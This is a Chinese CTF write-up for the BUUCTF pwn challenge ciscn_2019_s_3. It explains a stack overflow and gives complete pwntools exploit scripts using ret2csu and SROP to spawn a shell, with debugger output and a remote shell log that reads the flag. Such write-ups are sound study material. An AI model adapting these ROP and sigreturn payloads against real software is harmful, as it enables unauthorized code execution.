ciscn_2019_s_3_ret2csu/SROP

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Studay_Note/Pwn_Study/pwn_exercise/BUUCTF/ciscn_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

ldd, 确保和远程 ubuntu18 libc 和 ld 版本一样,不然做出来 offset 有区别,本地和远程结果不一样

1
2
3
4
5
6
7
8
9
10
11
12
❯ ldd ./ciscn_s_3
linux-vdso.so.1 (0x000071440971f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000714409400000)
/lib64/ld-linux-x86-64.so.2 (0x0000714409721000)

❯ patchelf --set-interpreter ../../libc/ld-2.27.so ./ciscn_s_3
❯ patchelf --replace-needed libc.so.6 ../../libc/libc-2.27.so ./ciscn_s_3

❯ ldd ./ciscn_s_3
linux-vdso.so.1 (0x00007bcb38efd000)
../../libc/libc-2.27.so (0x00007bcb38a00000)
../../libc/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007bcb38eff000)

IDA

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

+++++++++++ 程序开头是直接用 syscall 中 fd 控制 read 和 write 的,所以函数返回的时候没有 ebp,直接执行 ret。
这道题有两种做法:

  • ret2csu
  • SROP
1
2
3
4
5
6
7
8
9
10
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh ; ';'

看到有两个 gadget:

  • 0xF , sigreturn 系统调用
  • 0x3B , execve 系统调用

因为栈地址随机,所以我们要泄露栈地址,然后通过偏移计算出 buf 的地址。

动调发现:
buf 起始地址为:
buf: 0x7fffffffe030 ◂— 'aaaaaaaa\n'

Linux 的 x86_64 调用约定中 , rdi 参数编号为第二

1
2
3
4
pwndbg> stack 30
00:0000│ rbp rsp 0x7fffffffe040 —▸ 0x7fffffffe060 —▸ 0x400540 (__libc_csu_init) ◂— push r15
01:0008│+008 0x7fffffffe048 —▸ 0x400536 (main+25) ◂— nop
02:0010│+010 0x7fffffffe050 —▸ 0x7fffffffe148 —▸ 0x7fffffffe41f ◂— '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/BUUCTF/ciscn_s_3'

0x7fffffffe148 就是对应的 rsi 的地址,计算偏移:

1
2
pwndbg> distance 0x7fffffffe030 0x7fffffffe148
0x7fffffffe030->0x7fffffffe148 is 0x118 bytes (0x23 words)

所以我们泄露 stack_addr 的过程就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
# context(arch='i386', os='linux', log_level='debug')
context(arch='amd64', os='linux', log_level='debug')
# io = remote('node5.buuoj.cn',26605)
io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")

vuln_addr = 0x4004ED
payload = b'a' * 15 + b'A' + p64(vuln_addr)
io.sendline(payload)
io.recvuntil("A")
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("++++++++++ stack_addr:",hex(stack_addr))
buf_addr = stack_addr - 0x118
print("++++++++++ buf_addr:",hex(buf_addr))
1
2
++++++++++ stack_addr: 0x7ffedb2b1f18
++++++++++ buf_addr: 0x7ffedb2b1e00

0x0A ret2csu (ret2csu控制执行execve)

汇编窗口中按 G , 搜索 __libc_csu_init ,找到 __libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.text:0000000000400540 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400540 ; __unwind {
.text:0000000000400540 push r15
.text:0000000000400542 push r14
.text:0000000000400544 mov r15d, edi
.text:0000000000400547 push r13
.text:0000000000400549 push r12
.text:000000000040054B lea r12, __frame_dummy_init_array_entry
.text:0000000000400552 push rbp
.text:0000000000400553 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040055A push rbx
.text:000000000040055B mov r14, rsi
.text:000000000040055E mov r13, rdx
.text:0000000000400561 sub rbp, r12
.text:0000000000400564 sub rsp, 8
.text:0000000000400568 sar rbp, 3
.text:000000000040056C call _init_proc
.text:0000000000400571 test rbp, rbp
.text:0000000000400574 jz short loc_400596
.text:0000000000400576 xor ebx, ebx
.text:0000000000400578 nop dword ptr [rax+rax+00000000h]
.text:0000000000400580
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn

因为我们要走 execve('/bin/sh',0,0);, 所以我们要:

  • rax = 0x3B
  • rdi = ‘/bin/sh’
  • rsi = 0
  • rdx = 0

rax 题目给了: .text:00000000004004E2 mov rax, 3Bh ; ';'
rdi ROPgadget 可以找到 # 0x00000000004005a3 : pop rdi ; ret
rsi ROPgadget 和 csu 中都可以为0
rdx : 重点!!!!!!!!!!!!!!!!

1
2
3
4
5
6
# 0x00000000004005a3 : pop rdi ; ret
pop_rdi_ret = 0x4005a3
# 0x00000000004003a9 : ret
ret_addr = 0x4003a9
# 0x0000000000400501 : syscall
syscall_addr = 0x400501

精心构造控制 csu 的值为我们想要的值

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = p64(ret_addr) + b'/bin/sh\x00'  # 刚好padding到溢出ebp
payload += p64(0x4004E2) # rax = 0x3B
payload += p64(0x40059A) # csu 6_pop
payload += p64(0) + p64(1) # rbx=0,rbp=1
# rbx=0 ;bypass: call [r12+rbx*8] 中的rbx*8
# rbp=1 ;bypass: cmp rbx, rbp 和下面的jnz
payload += p64(buf_addr) + p64(0) * 3
# r12 -> buf_addr (ret_addr) ;bypass: call [r12+rbx*8]
payload += p64(0x400580) # loc_400580 ; -> rdx = 0, rsi = 0
payload += p64(0) * 7 # 因为0x400580执行下来又会6_pop 一次, add rsp, 8跳过了一个值也算
payload += p64(pop_rdi_ret) + p64(buf_addr + 8) # buf_addr ret_addr占8字节
payload += p64(syscall_addr)
io.send(payload)

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *
# context(arch='i386', os='linux', log_level='debug')
context(arch='amd64', os='linux', log_level='debug')
io = remote('node5.buuoj.cn',26605)
# io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")

vuln_addr = 0x4004ED
payload = b'a' * 15 + b'A' + p64(vuln_addr)
io.sendline(payload)
io.recvuntil("A")
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("++++++++++ stack_addr:",hex(stack_addr))
buf_addr = stack_addr - 0x118
print("++++++++++ buf_addr:",hex(buf_addr))

# 0x00000000004005a3 : pop rdi ; ret
pop_rdi_ret = 0x4005a3
# 0x00000000004003a9 : ret
ret_addr = 0x4003a9
# 0x0000000000400501 : syscall
syscall_addr = 0x400501

payload = p64(ret_addr) + b'/bin/sh\x00' # 刚好padding到溢出ebp
payload += p64(0x4004E2) # rax = 0x3B
payload += p64(0x40059A) # csu 6_pop
payload += p64(0) + p64(1) # rbx=0,rbp=1
# rbx=0 ;bypass: call [r12+rbx*8] 中的rbx*8
# rbp=1 ;bypass: cmp rbx, rbp 和下面的jnz
payload += p64(buf_addr) + p64(0) * 3
# r12 -> buf_addr (ret_addr) ;bypass: call [r12+rbx*8]
payload += p64(0x400580) # loc_400580 ; -> rdx = 0, rsi = 0
payload += p64(0) * 7 # 因为0x400580执行下来又会6_pop 一次, add rsp, 8跳过了一个值也算
payload += p64(pop_rdi_ret) + p64(buf_addr + 8) # buf_addr ret_addr占8字节
payload += p64(syscall_addr)
io.send(payload)

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x2d bytes:
b'uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n'
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /flag
[DEBUG] Sent 0xa bytes:
b'cat /flag\n'
[DEBUG] Received 0x2b bytes:
b'flag{4b9c9c6f-66f2-4992-8033-b02400847694}\n'
flag{4b9c9c6f-66f2-4992-8033-b02400847694}

0x0B SROP

题目在给了 0x3B (execve) 的同时还给了 0xF (sys_rt_sigreturn)

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
# context(arch='i386', os='linux', log_level='debug')
context(arch='amd64', os='linux', log_level='debug')
io = remote('node5.buuoj.cn',26605)
# io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")

vuln_addr = 0x4004ED
payload = b'a' * 15 + b'A' + p64(vuln_addr)
io.sendline(payload)
io.recvuntil("A")
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("++++++++++ stack_addr:",hex(stack_addr))
buf_addr = stack_addr - 0x118
print("++++++++++ buf_addr:",hex(buf_addr))

# 0x0000000000400501 : syscall
syscall_addr = 0x400501

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_addr

payload = b'/bin/sh\x00'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall_addr) + bytes(sigframe)
io.send(payload)

io.interactive()
1
2
3
4
5
6
7
/bin/sh\x00aaaaaaaa\xda\x04@\x00\x00\x00\x00\x00\x01\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x2d bytes:
b'uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n'
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$